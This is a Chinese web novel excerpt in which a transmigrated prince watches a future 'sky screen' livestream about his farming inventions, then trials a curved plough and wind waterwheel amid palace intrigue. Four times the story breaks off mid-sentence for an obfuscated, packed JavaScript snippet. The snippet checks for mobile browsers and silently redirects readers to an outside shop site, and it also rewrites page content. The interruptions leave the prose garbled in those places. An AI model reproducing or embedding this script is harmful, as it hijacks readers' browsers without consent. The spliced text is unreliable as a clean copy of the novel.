毫无征兆地,天亮了一下。 不是阳光透过云层的那种亮,而是整个天空像被某种柔和的光从内部点亮,灰白的云层变成了半透明的光膜。 “又、又来了!” 街上有行人尖叫出声。 瞬间,所有人都停下了脚步,仰头望天。 皇宫里,正在批阅奏折的皇帝笔尖一顿。侍立在一旁的王德安低声道:“陛下,天幕……” “朕看见了。” 皇帝放下笔,起身走到窗外。 “召皇子们进宫吧……都来。” 静思阁院内,殷澈刚画完一张崭新的草图,正准备歇一会儿。 窗外陡然变亮的目光让他动作一顿。 是天幕。 第四次的天幕,终于来了。 【哈喽!历史爱好者们,欢迎回到“阿月说历史”直播间!想我了没?】 说实话,有点想。 殷澈望着上空,像是在看一场可遇却不可求的梦境。 熟悉的同胞语气让他有点想家了。 那个横跨着时间的家。 他突然笑了一下,随后静静等待着这次的天幕会说出什么话来。 【上一期我们浅聊了一下哀帝身边的人才,而这一次,我们走进的是——《哀帝的不务正业3:那些改变农业的小发明》。】 光幕画面一闪,出现了动态图像。 是农田。 但不是普通农田。 画面里,农人使用的犁造型奇特,转弯灵活轻便。 远处的水车结构精巧,叶片在风中缓缓转动,带动下方的水斗将河水提到高处沟渠中。 是曲辕犁,殷澈认了出来。 在他原本的计划,这些有助于改善民生的东西应该都是他下方到外地做闲散王爷后,他借口这些是民间某个手艺人发明的,但遗传丢失,只剩下记录的孤本。 然后在某个良辰吉日悄悄把这个本子交给当时的皇帝。 可惜这都是不成实际的幻想了。 【锵锵锵!】 天幕里的女声明显激动了几分。 【曲辕犁,哀帝最著名的发明之一,和当时普通直辕犁相比,它转弯省力,据说能提升百分之二十的耕作效率。】 画面拉近,出现了曲辕犁的结构分解图,标注着各个部件的名称和功能。 【再看这个,风力水车!利用风力提水灌溉,节省人力畜力,特别适合缺水的丘陵地带。】 【虽然说二者在当时的社会背景也是该出现了,但是当发明它们的是著名的亡国君主就不对劲了。连阿婆主第一次听到的时候都感到惊讶了。】 殷澈感到一阵苦笑,自己究竟是干什么了。 亡国的名声才能大到这个地步。 但是能把这些东西拿出来顺便流传到后世,也是一件美事了。 他是胎穿。 在成长过程中,漫漫发现自己穿越的朝代和他以前在教科书学到的一点也不一样。 秦皇汉武,唐宗宋祖。 这些,统统没有,朝代都是一些他从未听说过的。 这是一个完全不同的世界,不变的只有封建王朝制度。 或许殷澈还要感谢,他穿的身份是皇子,而不是平民百姓。 封建王朝,一个普通人想平平安安的活下去。 难啊。 在他思考的过程中,天幕里的弹幕开始滚动。 【农业革命啊这是!】 【可惜了,他要是专心搞发明多好!怎么就生到帝王家了。】 【唉,其实看到这里感觉殷澈也没干什么坏事啊。】 【劳民伤财修塔,却搞出这些好东西。】 【感觉他像是点错技能树的理工男……】 【点错技能树+1】 【唉,哀帝的一些举动还是能看出他是一心为民的。】 天幕中的女声惋惜道, 【只是当他接手这个王朝的时候,一切都来不及了,大厦将倾啊!一个人的举动是挽救不了一个朝代的衰亡的。】 【哪怕他是这个天下最尊贵的人。】 【不小心说多了,好了,主播先去所里办点事情,现在是广告时间。】 天幕暗下去,像是进入了女声所言的广告时间。 殷澈的心却开始跳了起来。 刚刚天幕所言,皆是在为他开脱。 一个人的举动改变不了整个王朝的衰败是什么意思。 哪里的根烂掉了? “殿下!”小德子匆匆跑进来,“王公公来传话了,说陛下召所有皇子进殿观天幕。” 殷澈一愣。 “我也去?” “对!特别嘱咐了,您也要去。” 殷澈走出大门,他的步伐越走越快,这是天幕出现后,他第一次离开静思阁。 但不会是最后一次。 乾清宫前的广场上,已经聚集了不少人。 皇子们按长幼次序站着,个个深色凝重。 太子殷瑁站在最前面,面色冷峻;二皇子殷琮站在他身侧,目光若有所思;五皇子殷璜站在稍微有点靠后的位置,脸上带着惯有的清高。 等殷澈抵达的时候,所有人的目光都投了过来。 好奇,审视,探究,还有厌恶。 “九弟来了。”太子淡淡开口。 “见过太子殿下,见过各位兄长。” 殷澈鞠躬行礼,态度恭敬。 二皇子打量了他几眼:“九弟在静思阁......倒是清瘦了不少。” “劳二哥挂心。” 殷澈平静回应。 五皇子轻哼一声,别过头去,仿佛多看殷澈一眼都会沾上晦气。 就在这时,皇帝出来了。 众人齐齐行礼:“参见父皇!” 皇帝摆了摆手,走到御座前坐下,目光扫过一众儿子,道:“都站着吧,天幕难得出现,一起看看。” 话音刚落,天空中的光幕再次亮起。 广告时间结束。 【欢迎回来!】 女声充满活力, 【刚才我们看了哀帝的小发明,现在让我们看看在过去它们的推广程度吧。】 画面变成了动画。 曲辕犁在田间灵活转弯,深耕过的土地黑黝黝的。 风力水车在河边缓缓转动,清澈的河水被源源不断提到高处,灌溉着干涸的田地。 田里的庄稼肉眼可见地茂盛起来。 【后世的学者估算过,如果当时这些农具能被系统推广,大胤的粮食产量至少能增加两到三成!】 女声语气兴奋,【两到三成啊朋友们!这意味着什么?意味着更多人能吃饱饭,意味着朝廷能有更多储备粮应对灾荒,意味着边关将士的军粮能更充足!】 殷澈注意到周边人的神情瞬间兴奋起来,就连皇上的呼吸也紧促了不少。 粮食,这可是根啊! 几个尚书的头直楞楞的瞅着他,眼神的光像是想把殷澈殷澈的脑袋打开看看里面装了什么东西。 就在大家都陷入了粮食增产的美好幻想后,女声画风一转。 【只是可惜,历史没有如果。】 【哀帝当时太忙了,忙着改革币制,忙着修建通天塔,这些图纸被他交给朝廷的官员后,就没了后续。】 【那些官员没有将皇帝交给他们的事情做到,哀帝说要推广,但实际上只推广了京城地区。】 【皇帝的权利和眼睛,太少了。】 弹幕又热闹起来: 【暴殄天物啊!】 【不知道那些官员脑子里想的是什么?】 【真想穿越回去刀了他们。】 【加一。】 广场上一片寂静。 他缓缓开口:“都看完了。” “是。”皇子们齐声应道。 “有何感想?”皇帝的目光扫过众人,最后落在那些站在后排的朝臣身上,“你们也说说。” 广场上安静了片刻。 户部尚书钱谦益第一个出列,老头子脸上带着压抑不住的兴奋: “陛下!天幕所言若是真的,粮食增产两到三成……这可是天大的好事啊!” 旁边工部尚书也站出来:“陛下,那曲辕犁的图纸,臣刚才看了几眼,确实有些道理!弯曲的犁辕能省力,犁壁角度也有讲究……要不,让匠作司试试?” 礼部尚书却皱起眉头:“陛下,天幕终究是妖异之言。农具改良之事,当由工部按部就班,岂能因几句妖言就……” “妖言? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904298|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”钱谦益瞪眼,“粮食增产两到三成是妖言?陈尚书,你礼部不愁吃喝,我户部年年为粮食发愁!要是真能增产,别说妖言,鬼话我都信!” “你……粗鄙!”礼部尚书气得胡子发抖。 “粗鄙就粗鄙!能让百姓吃饱饭,我老钱粗鄙一辈子都行!” 两个尚书眼看要吵起来。 皇帝抬了抬手。 瞬间安静。 “吵完了?”皇帝淡淡地问。 钱谦益赶紧低头:“臣失仪。” 礼部尚书也躬身:“臣不敢。” 皇帝目光转向太子:“太子,你怎么看?” 殷瑁沉吟片刻,脸上露出恰到好处的郑重: “父皇,天幕虽为妖异,但其言涉及国本,不可不察。粮食增产乃国之大事,无论图纸从何而来,都该认真对待。只是……” 他顿了顿,目光扫过在场官员, “天幕方才提到,哀帝当年将图纸交给官员后,便没了下文,只在京城一带小范围试行。此事值得深思。” 几位工部官员神色变了变。 皇帝目光微冷:“太子所言有理。图纸再好,若无人认真推行,也是废纸一张。” 二皇子殷琮此时开口:“父皇,儿臣以为,既然九弟有此巧思,又得天幕认证,不如就让他主理此事。一来可验证天幕所言虚实,二来……” 他笑了笑,“若真能成,也是九弟洗清谣言的好机会。” 这话说的漂亮。 殷澈站在后排,低眉顺眼,心里却跟明镜似的。 太子不想担打压兄弟的名声,所以不反对他参与,反而敲打官员。 二皇子想把他推到前面,成了是功劳,不成就是罪上加罪。 皇帝沉默片刻,目光看向殷澈:“老九,你怎么说?” 殷澈出列,躬身道:“回父皇,儿臣愿尽绵薄之力。只是……儿臣久居静思阁,对农事只知皮毛。 若真要试行,还需工部各位大人相助,更要请教有经验的老农。农具改良非一日之功,需实地试验,反复改进。” 他说得诚恳,姿态放得极低。 皇帝点了点头:“还算明白。” 他又看向工部官员:“听见了?九皇子都知道要请教老农,要实地试验。你们呢?” 工部尚书赶紧躬身:“臣明白!臣定当全力配合!” “不是配合。”皇帝淡淡道,“是你们主理,九皇子从旁协助。他出想法,你们落实。每旬将进展报给朕。” “儿臣(臣)领旨!”殷澈和工部尚书齐声道。 皇帝又看向户部尚书:“钱尚书。” “臣在!” “若这些农具真能推广,增产的粮食如何分配、储备,户部要提前筹划。” 钱谦益眼睛一亮:“臣遵旨!若真能增产,臣保证每一粒粮食都用在刀刃上!” 礼部尚书还想说什么,被皇帝一个眼神扫过去,憋回去了。 “此事就这么定了。”皇帝起身,“都散了吧。老九留下。” “是。” 众人行礼退去。 太子经过殷澈身边时,脚步顿了顿,低声道:“九弟好好做,莫辜负父皇期望。” 语气温和,眼神却深。 二皇子则是拍了拍殷澈的肩膀:“九弟,需要帮忙尽管开口。” 殷澈一一应下,态度恭敬。 等人都走了,广场上只剩下皇帝、殷澈和几名侍卫。 “老九。”皇帝看着殷澈,“天幕说,那些官员没有把图纸推广下去。” “是。”殷澈低头。 “你觉得为什么?” 殷澈沉默片刻:“儿臣不知。或许……是觉得不重要?或是觉得麻烦?” “不重要?”皇帝冷笑,“粮食增产不重要?那什么重要?” 殷澈不敢接话。 “朕告诉你为什么。”皇帝缓缓道,“因为多一事不如少一事。因为怕担责任。因为……觉得这是‘奇技淫巧’,不值得费心。” 他盯着殷澈:“你现在明白,为什么天幕说‘皇帝的权利和眼睛,太少了’吗?” 殷澈心头一震。 “好好做。”皇帝转身离去,“让朕看看,你能做到哪一步。也让朕看看,这次有没有人敢敷衍。” 殷澈躬身:“儿臣……定当竭尽全力。” 皇帝走了。 9. 他已经上路了 天幕散去后的第二天,工部匠作司的两名老匠人就来到了静思阁。 一个姓赵,四十来岁,干瘦精悍,手上全是老茧。 一个姓孙,三十出头,敦实憨厚,背着一大包工具。 两人见到殷澈时明显有些紧张。 毕竟这可是皇子,哪怕是被圈禁的皇子。 “见过九殿下。” “不必多礼。”殷澈态度温和,直接进入正题, “图纸看了吗?” 赵匠人点头:“看了看了。殿下画的这曲辕犁,弯曲的犁辕确实巧,转弯能省不少力。只是……” 他犹豫了一下,“这犁壁的角度,是不是太斜了点?怕是不好入土。” 殷澈笑了:“赵师傅说得对。这是我按一般土质画的,实际使用时,得根据土质调整角度。松土可以斜些,硬土就要直些。” 赵匠人眼睛一亮:“殿下懂这个?” “略知皮毛。”殷澈谦虚道, “所以才需要两位师傅帮忙。咱们先做个小模型试试,尺寸缩小十倍,用轻木做,看看结构有没有问题。” 孙匠人问:“模型做出来,怎么试?” “就在院子里。”殷澈指了指窗外,“我让小德子弄了点不同硬度的土来,模拟不同土质。模型虽小,但原理是一样的。” 两人对视一眼,都有些意外。 这位九殿下……好像不是随便玩玩。 说干就干。 静思阁的正屋很快变成了临时作坊。赵匠人负责加工木料,孙匠人负责组装,殷澈在旁边看着,时不时提点建议。 “这里榫卯可以再紧一点。” “转轴处加点桐油。” “这个角度再调整两分。” 小德子和小顺子也被拉来帮忙,一个递工具,一个打扫木屑。 第一天,曲辕犁的模型做出来了。一尺来长,精巧玲珑。 殷澈拿着模型在院子里试验。松软的沙土里,犁身转弯灵活;硬实的黏土里,调整了犁壁角度后,也能顺利入土。 赵匠人看着直点头:“殿下这设计,确实妙。比现在的直辕犁好用多了。” “这才第一步。”殷澈说,“明天咱们做风力水车的模型。” 工部衙署。 匠作司的主事正在向工部尚书汇报。 “……九殿下那边,三天做了两个模型。曲辕犁的试过了,确实省力。风力水车的也做出来了,结构精巧,用嘴吹口气就能转。” 工部尚书问:“殿下态度如何?” “很认真。”主事道, “不像是在糊弄,是真在研究。赵、孙两位师傅说,殿下提出的问题都很在点子上,有些改进意见,连他们这些老匠人都没想到。” 工部尚书沉吟片刻:“你看着办,需要什么材料、工具,尽量满足。但记住——别太张扬。” “下官明白。” 又过了两天。 殷澈写完了一份详细的《曲辕犁推广试行方案》,正准备让小德子送去工部,王德安来了。 “殿下,陛下口谕:明日早朝后,带上模型和方案,到御书房觐见。” 殷澈心头一紧:“父皇要亲自看?” “是。”王德安点头,“陛下很关心此事。” 御书房。 殷澈带着两个木制模型和那份方案,恭敬地站在下首。 皇帝正在看奏折,头也不抬:“东西带来了?” “带来了。” “演示给朕看看。” 殷澈把曲辕犁的模型放在御案上,又拿出准备好的几种不同硬度的土样。 “父皇请看,这是松土。”他把模型放在沙土上,轻轻一推,犁身灵活转弯,“曲辕的设计,转弯时不用把犁整个抬起来,省力很多。” 他又换到黏土上:“这是硬土。需要调整犁壁角度,像这样……”他演示如何调整,“角度合适后,也能顺利深耕。” 皇帝看着,没说话。 殷澈又拿出风力水车的模型,对着扇叶轻轻吹了口气。水车缓缓转动,带动下方的“水斗”把“水”提到高处。 “这是利用风力提水,不用人力畜力。特别适合缺水的丘陵地带,也适合灌溉高处的田地。” 演示完,殷澈把方案呈上:“这是儿臣拟的推广试行方案。建议先在京郊皇庄选三处试点,一处土质松软,一处土质坚硬,一处丘陵缺水。 每处试用十架曲辕犁、两架风力水车,记录使用效果、增产数据、农户反馈。试用三个月,根据结果决定是否推广,以及如何改进。” 皇帝翻看着方案,看着上面的每个字眼,却先说了另一件事情。 “你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904299|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份报表写的好,一目了然,让礼部推行,以后送上来的奏折都按照这个格式呈上来。” 殷澈羞涩笑笑。 “好了。”皇帝合上了奏折,抬眼看向他。“天幕说,你那些图纸交给官员后,就没了下文。” “你觉得这次会怎样?”他问,“工部会认真办吗?” 殷澈沉默片刻:“儿臣相信,工部的各位大人都是忠心为国的。只要父皇重视,他们定会认真。” 皇帝笑了。 这是殷澈第一次看到皇帝对他笑,虽然那笑容很淡。 “好。”皇帝说,“朕就看看,这次会不会有人敷衍。” 他对王德安道:“传旨:按九皇子所拟方案,在京郊皇庄试行新农具。工部主理,九皇子协助。每旬将进展报朕。” “是。” 殷澈躬身:“谢父皇。” 消息很快传开。 九皇子搞的新农具,要在皇庄试用了。 太子听到消息时,正在东宫看书。 “父皇亲自过问?”他放下书卷。 “是。”幕僚道,“陛下很重视,让每旬报进展。” 太子沉默片刻:“那就让工部好好办。告诉咱们的人,别使绊子。” “殿下?”幕僚不解。 “现在使绊子,就是跟父皇过不去。”太子淡淡道,“不如顺水推舟,我们的人什么都不要干。” 幕僚恍然:“殿下英明。” 二皇子府。 “老九可以啊。”殷琮笑道,“这么快就把方案递上去了。” 心腹将领问:“殿下,咱们要不要……” “要什么?”殷琮摆摆手, “父皇盯着呢,别乱动。让咱们在工部的人配合点,该给的材料给,该派的人派。别搞什么乱动静。” “属下明白。” 静思阁。 殷澈收到了工部送来的正式文书——任命他为“农具改良试行协理”,配合工部在京郊皇庄开展试验。 虽然只是个虚衔,但有了这个名头,他就能正式参与,也能调动一些资源了。 “殿下,工部问,什么时候开始?”小德子问。 “明天。”殷澈说,“明天就去皇庄。” 他看向窗外。 路还很长。 但他已经上路了。 10. 扩大试点 第二天一早,殷澈带着赵、孙两位匠人,在小德子和两名侍卫的陪同下,来到了京郊皇庄。 皇庄的管事姓刘,是个四十多岁的黑瘦汉子,见到殷澈时态度恭敬。 “殿下,您说的那三处地方,都安排好了。” 刘管事在前方引路,“这边是沙土地,那边是黏土地,再往东边那片是坡地,缺水。” 殷澈点点头:“辛苦刘管事了。我们先看看沙土地。” 一行人来到沙土地。这里已经聚集了十几个庄户,都是被叫来“试用新农具”的。他们穿着打补丁的棉衣,手里拿着惯用的直辕犁,看到殷澈过来,都怯生生地低下头。 殷澈让赵匠人把带来的十架曲辕犁搬出来。 庄户们看到那些弯曲的犁辕,都露出好奇的神色。 “这犁……弯的?”一个老农忍不住开口。 “对,弯的。”殷澈拿起一架曲辕犁,亲自演示, “这样转弯时不用把犁抬起来,省力。来,大家都试试。” 一个年轻些的汉子壮着胆子走上前,接过曲辕犁,套上牛,开始耕地。 犁身入土,转弯时果然轻巧。那汉子眼睛一亮,动作快了起来。 其他庄户见状,也纷纷上前试用。 “咦,真省劲儿!” “转弯不用抬犁了!” “这犁壁角度可以调?我试试……” 一时间,田里热闹起来。 殷澈在一旁看着,时不时上前指导:“这位大叔,你这块地土松,犁壁可以再斜一点。”“大爷,您转弯时不用那么用力,轻轻一带就行。” 赵匠人和孙匠人也混在人群里,记录着使用情况,听取反馈。 这些庄户都是干了一辈子农活的老手,他们脸上的惊喜骗不了人——这新犁,真的有用。 试用了一个上午,庄户们已经爱上了曲辕犁。有几个老农围着殷澈,七嘴八舌地提建议: “殿下,这犁辕要是能再长一点就更好了,深翻时更稳。” “犁铲的材质能不能再硬些?沙土地还好,黏土地费铲子。” “要是能配个备用的犁壁就好了,坏了能马上换。” 殷澈一一记下,让赵匠人当场在图纸上标注。 午饭后,众人转移到黏土地。 这里的试用就没那么顺利了。黏土板结,曲辕犁虽然比直辕犁省力,但犁壁角度需要频繁调整,庄户们用不习惯,效果反而打了折扣。 一个老农直言不讳:“殿下,这犁在黏土地里,还不如我们现在的犁顺手。” 殷澈不恼,反而点头:“您说得对。这犁的设计主要针对一般土质,黏土地确实需要改进。” 他转头对赵匠人说,“记下来:黏土专用犁,犁铲要更尖,犁壁角度固定在最利于破土的位置,犁辕可以短一些,增加灵活性。” 赵匠人连忙记录。 最后是坡地。 这里试用的是风力水车。当庄户们看到那个大家伙在风中缓缓转动,把低处河沟的水提到高处水渠时,眼睛都直了。 “这……这不用人推?不用牛拉?” “风一吹就转,水自己上来了?” “神了!真神了!” 坡地的庄户们最缺水,每年灌溉都是大问题。看到风力水车,简直像看到了救星。 一个老农激动得直搓手:“殿下,这玩意儿……咱们庄上能多装几个吗?” 殷澈笑道:“先试试这个,好用的话,明年开春前多装几个。” “好!好!”老农连连点头。 曲辕犁和风力水车在京郊皇庄的试用,在第十天就传出了好消息。 不是官方通报,而是庄户们口口相传。 “刘家庄那边用上了新犁,转弯不费劲儿,一天能多耕半亩地!” “王家庄装了风车,不用人不用牲口,水自己上山了!” “听说都是宫里那位九殿下弄出来的……” 消息像长了腿,从皇庄传到周边村子,又从村子传回京城。 最先坐不住的是户部。 钱谦益拿着下面递上来的简报,胡子都翘起来了:“一天多耕半亩地?真的假的?” “真的!”属官兴奋道,“下官派人去看了,庄户们都抢着用新犁。那风力水车更神,坡地的庄稼今年冬天都不用愁浇水了!” 钱谦益一拍桌子:“好事啊!大好事!快,写个折子给陛下!” “尚书大人,这折子……怎么写?”属官问,“功劳算工部的还是算……” “废话!”钱谦益瞪眼,“当然是如实写!试用是谁主持的?工部谁在负责?九殿下起了什么作用?一五一十写清楚!” “是!” 二皇子府。 殷琮听完汇报,笑了:“老九可以啊,真搞出名堂来了。” 心腹将领问:“殿下,咱们要不要……” “要,当然要。”殷琮道,“让人在工部多说说九殿下的好话,特别是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904300|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些实用的改进建议,多提提。另外,打听打听,老九接下来还想搞什么。” “殿下的意思是……” “他能搞出曲辕犁,就能搞出别的。”殷琮眼神深邃,“天幕不是说了吗?‘哀帝的农业小发明’。既然是小发明,就不止这两样。” “属下明白!” 三天后,早朝。 钱谦益果然上了折子,大力赞扬京郊皇庄农具试用的成果,并建议扩大试点范围。 工部尚书也站出来,详细汇报了试用情况,提到庄户反响热烈,增产效果初显。 龙椅上的皇帝听着,神色平静。 等两人说完,他才开口:“既然有效,那就扩大试点。钱尚书,户部拟定个方案,选几个府县试行。工部配合。” “臣遵旨!” 下朝后,消息很快传开。 九皇子搞的新农具,要扩大试点了。 这意味着什么? 意味着这东西真的有用,有用到皇帝亲自点头推广。 也意味着,殷澈的名字,第一次以正面的形象,出现在朝堂之上。 虽然还是“戴罪之身”,虽然还是“圈禁皇子”。 但已经不一样了。 静思阁里,殷澈收到了工部送来的正式文书——扩大试点的方案批复了,他被任命为“总协理”,负责协调各试点的工作。 虽然还是个虚衔,但权力大了不少。 赵匠人和孙匠人也被正式调派到他手下,成了“技术指导”。 “殿下,接下来怎么做?”赵匠人问。 殷澈看着窗外渐暖的天气:“春耕快开始了。咱们得抓紧,在春耕前,把该教的都教出去。” 他铺开一张纸,开始写《新农具使用及维护手册》。 写得很简单,图文并茂,尽量让识字不多的庄户也能看懂。 写完手册,他又开始琢磨下一件事——施肥。 这个时代的肥料主要是粪肥,但使用方法粗放,效果有限。他记得一些现代堆肥、绿肥的知识,虽然不能照搬,但可以改良。 又是一张纸,开始写《简易堆肥法》。 写着写着,他忽然笑了。 上辈子是理工科社畜,天天画图算数据。 这辈子是皇子,本该学经史权谋。 结果呢?在种地。 还真是……点错技能树了。 不过,点错了又如何? 能让人吃饱饭,就是好技能。 11.【泪目了,这简直就是穿越者笔记!】 十一月下旬,一场冬雨过后,京郊皇庄的试验田里,新苗破土,长势明显比周边田地更为茁壮。 这日午后,般澈正在庄内临时辟出的工坊里,与赵、孙两位匠人探讨一种新设计的播种耧车草图。 “殿下这设计巧妙,”赵匠人指着图上分种斗和导种管,“种子能均匀落进沟里,不用再弯腰撒种,省时省力。” 孙匠人却皱眉:“导种管太细,怕堵塞。麦种还好,若是豆种、棉籽,恐怕不行。” “那就做两种规格,”般澈用炭笔在旁标注, “麦种用小管,豆棉用大管。关键在这排齿,要能调节入土深度。” “不过话说,前些日子的那些肥料……” 正讨论间,小德子气喘吁吁跑进来:“殿、殿下!天……天幕又亮了!” 几人冲 走出工坊。 这一次,天幕出现得毫无预兆,且时间竟是午后申时。 日光犹在,那半透明的光晕却清晰异常,横亘于偏西的天空。 【哈喽历史迷们!阿月回来啦!女声比以往更显兴奋,【前几期咱们聊了哀帝的骚操作和农业小发明,今天咱们换个角度——来扒一扒《哀帝那些被误解的奇思妙想》!】 光幕上画面切换,不再是农田,而是一间堆满书籍、图纸、古怪模型的宽阔书房。 书案后,穿着亲王常服的哀帝正伏案疾书,烛火映着他年轻的侧脸,神情专注到近乎偏执。 【很多人都知道哀帝败家,但很少有人去细究:他那些败家的点子,到底是怎么来的?今天,咱们就从他留下的私人笔记里,找找答案。】 画面拉近,对准案上一本摊开的笔记。 字迹潦草却有力,夹杂着大量图形和符号。 笔记片段被放大、配上解读: “十月廿三,观星。紫微垣有异光,恐主北地寒潮早至。若真,今冬边镇需增炭薪储备,尤重雁门、云中。然户部惯例,冬储须待腊月方议,恐不及。” 【看,这是哀帝还是皇子时的笔记。他在观察天象,并试图将天象与民生实务联系起来。】 【这在当时,会被视为不务正业或妄测天机。】 “腊月初八,与沈墨论漕渠。现行漕船载重不足,吃水过深,枯水期常滞。 思得一法:船底可改为平底,两侧加浮舱,虽速稍减,然载量可增三成,且浅水亦可行。已绘草图。” 画面展示了一幅极其精细的平底漕船结构图,甚至标注了不同水位下的吃水线。 【这是水利工程改良。思路清晰,数据具体。但这类匠人之术,在当时的主流价值观里,难登大雅之堂。】 “元月初三,读前朝《钱法志》。铜钱私铸、剪边猖獗,银两成色混乱,市易不便。究其根本,在币制无定规,查验无良法。忽忆少时见西域商人所用银币,边缘有细齿,币面有暗纹,仿制极难。或可效之?需精于微雕之匠人。” 笔记旁附着一张银币草图,边缘锯齿、币面微雕花纹清晰可见。 旁注:“防伪之要,在精微难仿,亦在公众易辨。” 【金融防伪!】女声惊叹,【这可是现代货币防伪的核心思路之一!他在那个时代,已经想到了用精密工艺和公众识别来对抗□□!】 【虽然实施起来困难重重,但这思路本身,超前得可怕!】 皇庄内外,一片寂静。 庄户们看不懂那些复杂图纸,却能听懂防伪、改良、预测这些词。 原来这位九殿下,不止会搞农具? 工坊外,赵匠人盯着那漕船图,呼吸急促:“平底……浮舱……妙啊!殿下,这、这图……” 般澈目光凝在光幕上那枚银币草图,心中震动。 这是他未来会做的事? 不,这是他原本会做、却可能因条件所限最终失败或走偏的事。天幕在此刻揭示,简直像是……在为他未来的行动铺路,提前赋予这些想法以历史合理性。 光幕画面再变。 这次是快速闪回的一些零碎记录: “疫病流行,死者相枕。太医院言瘴气,然何以同处一室,有人病有人无恙?或与‘细虫’有关?需显微镜观之……惜无。” “驿站传书太慢。若沿官道设高塔,以镜光或烽烟接力传讯,千里之遥,一日可达?需测算塔距、光码。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906430|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“官仓霉粮屡禁不止。除通风除湿外,或可试以石灰、草木灰混储防虫?待验。” 每一段记录都配有简笔插图,虽简陋,意图却明确。 【这些,都是哀帝笔记里零星散落的“奇思妙想”。】女声语气复杂,【有些异想天开,有些却闪烁着惊人的洞察力。可惜,它们大多停留在纸面,或被当时的现实条件、或被人为的忽视与阻挠所扼杀。】 【我们常说“时代的局限性”。哀帝的悲剧或许在于,他的思维跳出了那个时代的框架,看到了更远的可能,但他的身份、他所处的环境、他拥有的资源和执行力,却无法支撑他将这些可能变为现实。于是,一些超前的尝试,变成了劳民伤财的败家;一些务实的改良,被淹没在官僚体系的惰性里;一些救急的预案,因无人重视而错失良机。】 【那么问题来了:如果这些想法,出现在一个更合适的时机,由一个更有准备、更有支持的人去推动,结果会不会不一样?】 弹幕汹涌: 【泪目了,这简直就是穿越者笔记!】 【超前思维注定孤独啊。】 【感觉他脑子里有个现代科技树,但生在了一个点不了技能的年代。】 【所以亡国真不能全怪他,是时代配不上他的脑子?】 【楼上别洗,亡国就是亡国。但……确实可惜了这些想法。】 【话说,这些笔记要是当时能被重视,随便实现几样,都是利国利民啊!】 光幕渐暗,女声做结语。 【好了,本期哀帝被误解的奇思妙想就分享到这里。下期预告……】 天幕消散,午后阳光重新洒落。 皇庄内,落针可闻。 庄户们面面相觑,他们听不太懂那些复杂的内容,却牢牢记住了一件事。 九殿下脑子里,装着很多“厉害但没人懂”的东西。 而京城之内,朝堂之上,皇帝眯着眼睛盘着手中的玉佩。 “王德安,你说老九是个什么样的人。” 跟随皇帝多年的大太监思考了一下,俯下身子道。 “九殿下,异于凡人也。” 谁是凡人呢? 12.边关 天幕散去后的第三日。 户部值房里,钱谦益正对着北地三镇刚送来的冬储损耗急报,眉头拧成了疙瘩。 宣府、大同,损耗又超两成半。山海关稍好,也近两成。 年年如此,岁岁这般。 炭薪马草,从富庶的江南、湖广征集,千里转运,人吃马嚼,车损路耗,层层盘剥,到边关将士手中时,十成已去了三四成。这还没算上仓储不善导致的霉烂。 不是没想过办法。精简流程、严查贪墨、增设驿站……法子用尽,收效甚微。仿佛有个无形的窟窿,永远填不满。 正烦躁间,门被轻轻叩响。 “部堂,九殿下遣人送来一份条陈,说是奉陛下口谕,为北地冬储事所拟。” 主事捧着一份不算厚的文书进来。 钱谦益揉了揉额角:“先放着吧。” 他本不欲看,手指却无意间碰到了文书边缘。纸是寻常的竹纸,墨迹却力透纸背,字迹端正紧凑,无半分花哨。 鬼使神差地,他拿了起来。 “为应对北地边镇冬储短缺,遵旨陈节省、速效务实策七条……” 目光扫过第一条“改草运输调度,减中途损耗”,钱谦益的眉头动了一下。 设立固定中转场?这想法……似乎有点意思。将长途运输分段,明确责任,还能集中维修车辆。 再看第二条“善用天时地利,发展冬令运输”。 冰橇?爬犁?钱谦益脑中立刻浮现出北地冬日千里冰封的景象。是啊,河面封冻后,为何不用?那冰面平整,马拉雪橇,速度确实可能比笨重的四轮车快,还省车轴损耗。 